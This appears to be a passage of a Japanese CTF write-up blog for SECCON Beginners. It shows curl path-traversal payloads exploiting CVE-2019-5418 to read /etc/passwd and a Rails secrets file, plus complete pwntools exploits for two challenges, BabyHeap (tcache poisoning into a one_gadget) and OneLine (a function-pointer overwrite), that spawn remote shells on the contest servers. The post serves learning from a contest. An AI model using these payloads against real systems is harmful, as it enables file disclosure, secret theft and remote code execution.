そう言えばわざわざ rails の version が明記されていたんでした。
rails 5.2.1 脆弱性
とかでググってみます。もちろん対象versionの脆弱性はたくさん見つかるのですが、多くのサイトで取り上げられているやばめの脆弱性がありました。CVE-2019-5418 : File Content Disclosure in Action View
です。
- Rails 4, 5, 6における Security Fix について - ペパボテックブログ
- Rails4/5/6に関する重大なSecurityFix / 2019年3月13日 01:49 - Qiita
- CVE-2019-5418のPoCの動作確認をしてみた - Qiita
- GitHub - mpgn/CVE-2019-5418: CVE-2019-5418 - File Content Disclosure on Ruby on Rails
日本語の解説もいくつかありました。しかも詳細なやつ。PoCも紹介されています。
ディレクトリトラバーサルです。 render file: でファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。
結構な脆弱性です。
上記のペパポのサイトでは、PoCとして最終的に etc/passwd
を読み出してみていました。
$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'
こんな感じで読み出せちゃうんですね。凄い。。。
今回は、とりあえず上記の app/controllers/coupon_controller.rb
(ご丁寧にappからのpathも書いてある)を読み出してみます。
$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../app/controllers/coupon_controller.rb{{'
pathの階層は面倒だったので適当に ../
の数を調整して何度か試しました(ノ≧ڡ≦)
class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm") @coupon_id = msg_encryptor.encrypt_and_sign(serial_code) end end
おや、katsudonの時にもらったコードとちょっと差分があります。この secret_key_base
とかかなり怪しいです。
Railsのsecretsファイルのパスは config/secrets.yml.key
とかなので、取れないか試してみます。
$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../config/secrets.yml{{'
まじか、一発でとれた。
# Be sure to restart your server when you modify this file. # Your secret key is used for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. # You can use `rake secret` to generate a secure secret key. # Make sure the secrets in this file are kept private # if you're sharing your code publicly. # Do not keep production secrets in the repository, # instead read values from the environment. production: secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34
あとは、flagのクーポンとsecret_key_base
を使って、クーポン生成コードの逆処理をやるとできそう。
rubyでやるかpythonでやるか悩みましたが、競技中だと変なミスを極力減らしたいと思うので、なるべく生成時と同じ環境・同じロジックを使うようrailsのconsoleを利用することにしました。
新しいPC (Mac) にrails環境を全く入れていなかったので、下記を参考に rails 環境を整えました。
新しくrail app を作り、そこで rails console
で実行すればrails用のライブラリが使えます。
$ rails new testapp $ cd testapp $ rails console
でrailsのconsoleが立ち上がります。
secret_key_base = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34' flag_coupon = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==' msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm") flag = msg_encryptor.decrypt_and_verify(flag_coupon)
とconsole上で実行していくと、flagが無事取れました!
> flag = msg_encryptor.decrypt_and_verify(flag_coupon) => "ctf4b{06a46a95f2078ae095470992cd02f419}"
個人的には、MeyasubakoよりもHimitsuよりもわかりやすかったから、やっぱりボスは本当はMeyasubakoだったのかな。
[Pwnable] BabyHeap
こちら、競技中のメモと、その後他のwrite-upを読みながらやってみた内容になっています。激参考にさせていただいたのは
なので、解説記事としては上記を参考したほうが良いかと思います!
nc 133.242.68.223 58396
入手したのは実行ファイル babyheap
と libc-2.27.so
。
babyって言ってるので易しいのが出てきて、あわよくば解けるかなーと思ったんですけどね…。
$ file babyheap babyheap: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ file libc-2.27.so libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
実行してみます。
$ ./babyheap Welcome to babyheap challenge! Present for you!! >>>>> 0x7f48ccff3a00 <<<<< MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 1 Input Content: test MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 2 MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 1 No Space!! MENU 1. Alloc 2. Delete 3. Wipe 0. Exit > 2 free(): double free detected in tcache 2 中止
最初にプレゼントと言われて何やらアドレスが渡されます。その後、別途allocしたりdeleteしたりできるようです。
処理をradare2で追ってみます。まずはmain関数。
/ (fcn) main 172 | main (int argc, char **argv, char **envp); | ; var int local_ch @ rbp-0xc | ; var int local_8h @ rbp-0x8 | ; DATA XREF from entry0 (0x88d) | 0x000009ad 55 push rbp | 0x000009ae 4889e5 mov rbp, rsp | 0x000009b1 4883ec10 sub rsp, 0x10 | 0x000009b5 488b05741620. mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0 | 0x000009bc 4889c6 mov rsi, rax | 0x000009bf 488d3df20100. lea rdi, qword str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" | 0x000009c6 b800000000 mov eax, 0 | 0x000009cb e850feffff call sym.imp.printf ; int printf(const char *format) | ,=< 0x000009d0 eb72 jmp 0xa44 | | ; CODE XREF from main (0xa50) | .--> 0x000009d2 8b45f4 mov eax, dword [local_ch] | :| 0x000009d5 83f802 cmp eax, 2 | ,===< 0x000009d8 7453 je 0xa2d | |:| 0x000009da 83f803 cmp eax, 3 | ,====< 0x000009dd 745c je 0xa3b | ||:| 0x000009df 83f801 cmp eax, 1 | ,=====< 0x000009e2 7402 je 0x9e6 | ,======< 0x000009e4 eb5e jmp 0xa44 | ||||:| ; CODE XREF from main (0x9e2) | |`-----> 0x000009e6 48837df800 cmp qword [local_8h], 0 | |,=====< 0x000009eb 740e je 0x9fb | ||||:| 0x000009ed 488d3d050200. lea rdi, qword str.No_Space ; 0xbf9 ; "No Space!!" | ||||:| 0x000009f4 e8e7fdffff call sym.imp.puts ; int puts(const char *s) | ,=======< 0x000009f9 eb49 jmp 0xa44 | |||||:| ; CODE XREF from main (0x9eb) | ||`-----> 0x000009fb bf30000000 mov edi, 0x30 ; '0' | || ||:| 0x00000a00 e83bfeffff call sym.imp.malloc ; void *malloc(size_t size) | || ||:| 0x00000a05 488945f8 mov qword [local_8h], rax | || ||:| 0x00000a09 488d3df40100. lea rdi, qword str.Input_Content: ; 0xc04 ; "Input Content: " | || ||:| 0x00000a10 b800000000 mov eax, 0 | || ||:| 0x00000a15 e806feffff call sym.imp.printf ; int printf(const char *format) | || ||:| 0x00000a1a 488b45f8 mov rax, qword [local_8h] | || ||:| 0x00000a1e be30000000 mov esi, 0x30 ; '0' | || ||:| 0x00000a23 4889c7 mov rdi, rax | || ||:| 0x00000a26 e84a000000 call sym.getnline | ||,=====< 0x00000a2b eb17 jmp 0xa44 | |||||:| ; CODE XREF from main (0x9d8) | ||||`---> 0x00000a2d 488b45f8 mov rax, qword [local_8h] | |||| :| 0x00000a31 4889c7 mov rdi, rax | |||| :| 0x00000a34 e897fdffff call sym.imp.free ; void free(void *ptr) | ||||,===< 0x00000a39 eb09 jmp 0xa44 | |||||:| ; CODE XREF from main (0x9dd) | |||`----> 0x00000a3b 48c745f80000. mov qword [local_8h], 0 | ||| |:| 0x00000a43 90 nop | ||| |:| ; CODE XREFS from main (0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39) | ```-`-`-> 0x00000a44 e810000000 call sym.menu | : 0x00000a49 8945f4 mov dword [local_ch], eax | : 0x00000a4c 837df400 cmp dword [local_ch], 0 | `==< 0x00000a50 7580 jne 0x9d2 | 0x00000a52 b800000000 mov eax, 0 | 0x00000a57 c9 leave \ 0x00000a58 c3 ret
下記の行を見る限り、最初にプレゼントしてくれるアドレスは stdin
のアドレスのようです。
0x000009b5 488b05741620. mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0
あとはlibcをもらっているので、libcのversionは2.27, 任意の関数の相対アドレスは配布されたlibcからわかるんだろうなー。と想像します。
想像したところで特に何も思いつかず、競技中はここで思考停止で終了しました。
上記で紹介した2つのリンク先に、解法や流れ・解説がとても詳しく載っていたので、こちらでは特に解説なしでコードだけ下の方に載せておきます。ライブラリはpwntoolのみを使っているので、環境が作りやすいはず。@ptr-yudai さんの記事のコードをほぼそのまま流用させていただきました。
下記、初心者すぎてわからなかったマジックナンバーなどの調べ方メモ。
one-gadget
というのが出てきたので調べました。こちらでちょっとお勉強。ふむふむ。
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編 - ヾノ*>ㅅ<)ノシ帳
x86-64(x86はダメ)のlibcに、 ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行してくれる親切なgadgetが存在します。
これはheap問題だとよく使うやつなのかな?この one-gadget のアドレスを特定するツールとして下記が紹介されていたので、これを使ってみます。ruby環境があればちゃっと使えそうです。
$ gem install one_gadget $ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
なんだかとってもカラフルな出力だった。installから使い方までとっても簡単でよき。
さて、3つ候補が出てきましたがどれを使うんでしょう?それぞれシェルが起動される条件が異なるみたいです。(constraintsに書いてある)
One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。
ということで、3つとも試してみてうまく行くのを探すのが良さそう。
疑問が解明したので、exploitコードを紹介記事のシーケンスのとおりに書いてみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code refers follow article. # https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937 from pwn import * host = '133.242.68.223' port = 58396 one_gadget_addr = 0x4f322 baby = ELF('./babyheap') libc = ELF('./libc-2.27.so') def alloc(data): print(b'1. Alloc: ' + data) print(r.recvuntil(b'> ')) r.sendline(b'1') r.recvuntil(b'Input Content: ') r.sendline(data) def delete(): print(b'2. Delete') print(r.recvuntil(b'> ')) r.sendline(b'2') def wipe(): print(b'3. Wipe') print(r.recvuntil(b'> ')) r.sendline(b'3') r = remote(host, port) r.recvuntil('>>>>> ') stdin_addr = int(r.recvuntil(' <<<<<').split(b' ')[0], 16) libc_base = stdin_addr - libc.symbols[b'_IO_2_1_stdin_'] # tcache poisoning alloc(b'dummy') delete() delete() wipe() payload = p64(libc_base + libc.symbols[b'__free_hook']) alloc(payload) wipe() alloc(b'dummy') wipe() alloc(p64(libc_base + one_gadget_addr)) # get the shell delete() r.interactive()
実行結果
$ python solve.py [*] '.../babyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '.../libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 133.242.68.223 on port 58396: Done b'1. Alloc: dummy' b'2. Delete' b'2. Delete' b'3. Wipe' b'1. Alloc: \xe8\xa8\xd5\xf1f\x7f\x00\x00' b'3. Wipe' b'1. Alloc: dummy' b'3. Wipe' b'1. Alloc: "\xc3\x9b\xf1f\x7f\x00\x00' b'2. Delete' [*] Switching to interactive mode $ ls babyheap flag.txt $ cat flag.txt ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}
Babyって言ってるし、この前初めてpicoCTFの復習でheap問題やってみたし、手を付けてみちゃったんですけど全然駄目でした。再度確認したら13チームしか解いてなかったですね。競技中に「よかった、ちゃんとbabyだった」と言う誰かのつぶやきを見て「ほほう?」と思ってたんですけど、プロから見たらbabyだったってことですかね。
ちなみに今回、write-upを見つつわからないところを調べつつ、だったのですが、下記サイトがheap系の知識として読むのに良かったです。本当は体系だってお勉強するのが一番なんでしょうけど、紹介まで。
[Pwnable] OneLine
この問題も競技中は全く見ませんでしたが、BabyHeapでちょっと調べた内容も使いそうだったので他の方のwrite-upも見つつやってみました。
nc 153.120.129.186 10000
配布されたファイルを解凍してみます。こちらも実行ファイルとlibcが入っていました。
$ ls ace01bbd1b0165f0c0f43426d7716721_oneline.tar.gz libc-2.27.so oneline
動作確認。
$ ./oneline You can input text here! >> test test �g <�Once more again! >> test test
2回ほどユーザー入力を受け付けて、入力をそのまま出力してくれるようです。が、最後の方にちょろっと変な出力が…。
$ ./oneline You can input text here! >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault
そして、ちょっと眺めの文字列を入れると、一回目で落ちちゃいました。何かありそう。
radare2でmain関数を見てみます。
;-- main: / (fcn) sym.main 182 | sym.main (int argc, char **argv, char **envp); | ; var int local_ch @ rbp-0xc | ; var int local_8h @ rbp-0x8 | ; DATA XREF from entry0 (0x73d) | 0x0000086d 55 push rbp | 0x0000086e 4889e5 mov rbp, rsp | 0x00000871 4883ec10 sub rsp, 0x10 | 0x00000875 be01000000 mov esi, 1 | 0x0000087a bf28000000 mov edi, 0x28 ; '(' | 0x0000087f e87cfeffff call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | 0x00000884 488945f8 mov qword [local_8h], rax | 0x00000888 488b45f8 mov rax, qword [local_8h] | 0x0000088c 488b15450720. mov rdx, qword [reloc.write] ; [0x200fd8:8]=0 | 0x00000893 48895020 mov qword [rax + 0x20], rdx | 0x00000897 488d3d160100. lea rdi, qword str.You_can_input_text_here ; 0x9b4 ; "You can input text here!\n>> " | 0x0000089e b800000000 mov eax, 0 | 0x000008a3 e838feffff call sym.imp.printf ; int printf(const char *format) | 0x000008a8 488b45f8 mov rax, qword [local_8h] | 0x000008ac ba28000000 mov edx, 0x28 ; '(' | 0x000008b1 4889c6 mov rsi, rax | 0x000008b4 bf00000000 mov edi, 0 | 0x000008b9 e832feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x000008be 488b45f8 mov rax, qword [local_8h] | 0x000008c2 488b4020 mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@" | 0x000008c6 488b4df8 mov rcx, qword [local_8h] | 0x000008ca ba28000000 mov edx, 0x28 ; '(' | 0x000008cf 4889ce mov rsi, rcx | 0x000008d2 bf01000000 mov edi, 1 | 0x000008d7 ffd0 call rax | 0x000008d9 488d3df10000. lea rdi, qword str.Once_more_again ; 0x9d1 ; "Once more again!\n>> " | 0x000008e0 b800000000 mov eax, 0 | 0x000008e5 e8f6fdffff call sym.imp.printf ; int printf(const char *format) | 0x000008ea 488b45f8 mov rax, qword [local_8h] | 0x000008ee ba28000000 mov edx, 0x28 ; '(' | 0x000008f3 4889c6 mov rsi, rax | 0x000008f6 bf00000000 mov edi, 0 | 0x000008fb e8f0fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x00000900 8945f4 mov dword [local_ch], eax | 0x00000903 488b45f8 mov rax, qword [local_8h] | 0x00000907 488b4020 mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@" | 0x0000090b 8b55f4 mov edx, dword [local_ch] | 0x0000090e 488b4df8 mov rcx, qword [local_8h] | 0x00000912 4889ce mov rsi, rcx | 0x00000915 bf01000000 mov edi, 1 | 0x0000091a ffd0 call rax | 0x0000091c b800000000 mov eax, 0 | 0x00000921 c9 leave \ 0x00000922 c3 ret
よくわからない処理があります。
| 0x0000088c 488b15450720. mov rdx, qword [reloc.write] ; [0x200fd8:8]=0 | 0x00000893 48895020 mov qword [rax + 0x20], rdx
ここでwrite関数のポインタをstack上に書き出してくれているようです。
入力→出力は、0x28
バイト読み込んで出力してくれ、このwrite関数のアドレスは終わり0x8
バイト (0x20
~) に書かれているようなので、上書きしなければ最後にwrite関数のアドレスが出力されそう。
試しに空の文字列を一発目に送ってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '153.120.129.186' port = 10000 r = remote(host, port) print(r.recvuntil(b'>> ')) r.sendline(b'') res = r.recv() print(b'response: ' + res) print(b'0x20-0x28: ' + res[0x20:0x28]) print('write_addr: ' + hex(u64(res[0x20:0x28])))
実行結果(抜粋)
b'You can input text here!\n>> ' b'response: \n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@a\x01\xea/\x7f\x00\x00' b'0x20-0x28: @a\x01\xea/\x7f\x00\x00' write_addr: 0x7f2fea016140
想定通りのresponseが返ってきてそう!write関数のアドレスが入手できたので、ここから libc base のアドレスが計算できます。
0x000008d7 ffd0 call rax ... 0x0000091a ffd0 call rax
また、2回の入力とも、最後に入力時の 0x20-0x28 バイトに書かれたアドレスを実行しています。
入力時にwrite関数のアドレス部分を上書きしていなければ、write関数が実行されるんですね。だからちょっと長めの適当な文字列を突っ込むと、このwrite関数のアドレスが変に上書き→実行され、SegmentationFaultで落ちちゃったってことですね。
ということは、1回目の入力でwrite関数のアドレスを入手、libc base のアドレスがわかるので、任意の関数のアドレスを計算。2回目の入力時に最後に任意の関数のアドレスをくっつけて実行してもらう、というのが良さそう。
ここで、2回目の時に BabyHeap の時に利用した one-gadget
を利用してshellを起動させます。
BabyHeapのとき導入した GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 で one-gadgetを探してみます。
$ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
配布されたlibcのバージョンが同じだったからか、結果はBabyHeapのときと同じになりました。
あとはこのアドレスを、2回目のinput時の最後8バイト部分に書き込むだけ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '153.120.129.186' port = 10000 baby = ELF('./oneline') libc = ELF('./libc-2.27.so') one_gadget_addr = 0x4f322 r = remote(host, port) print(r.recvuntil(b'>> ')) r.sendline(b'') write_addr = u64(r.recv()[0x20:0x28]) print('write address: ' + str(write_addr)) libc_base = write_addr - libc.symbols[b'write'] r.recvuntil(b'>> ') payload = b'a' * 0x20 payload += p64(libc_base + one_gadget_addr) r.sendline(payload) r.interactive()
実行結果
$ python solve.py [*] '.../oneline' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [*] '.../libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 153.120.129.186 on port 10000: Done b'You can input text here!\n>> ' write address: 139773157900608 [*] Switching to interactive mode $ ls flag.txt oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r}
ちなみに、 one-gaedget は 0x10a38c
でもいけました。
感想など
沢山の方のwrite-upや作問者の解説を参考にさせていただきました。ありがとうございました!やはり実際に手を動かして、他の方の解き方をなぞるだけでも、かなり理解が深まりますね。(読むだけでは全く頭に入ってこないポンコツだからという話もある)
最近はpicoCTFの復習をメインにやっていましたが、picoCTFの最後の方の問題の難易度と同じくらいなイメージでした。次はもう少し点の高い問題も解けると良いなぁ。
実はあと2問残っていますが、あと2日で出産のため入院 → 問題サーバー落ちる予定なので諦めました。ちょっと手はつけてみたのですが、私の理解度ではとっても時間がかかりそうだったので…。
- [Reversing] SecconPass
- [Pwnable] memo
いやー、でもやっぱ競技中(24時間?)に一人チームで全完とか、本当に凄いですね!
来年も、フルタイムとは言わないので、少しでもリアルタイムで参加できると良いな(◍•ᴗ•◍)